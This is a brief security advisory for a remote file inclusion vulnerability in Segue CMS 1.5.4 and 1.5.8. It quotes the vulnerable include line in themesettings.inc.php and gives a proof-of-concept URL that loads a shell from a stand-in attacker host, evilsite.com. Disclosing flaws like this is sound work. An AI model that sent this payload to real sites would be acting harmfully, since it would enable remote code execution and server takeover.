+ Details:
+ Segue CMS themes/program/themesettings.inc.php does not intialize the $themesdir variable
+ before using it to include files, assuming register_globals = on, we can intialize the
+ variable in a query string and include a remote file of our choice. Tested and working on
+ version 1.5.4 and 1.5.8 (previous versions may also be affected).
+ 
+ Vulnerable Code:
+ themes/program/themesettings.inc.php, line(s) 02: include("$themesdir/$theme/colors.inc.php");
+ 
+ Proof of Concept:
+ http://[target]/[path]/themes/program/themesettings.inc.php?themesdir=http://evilsite.com/shell.php?
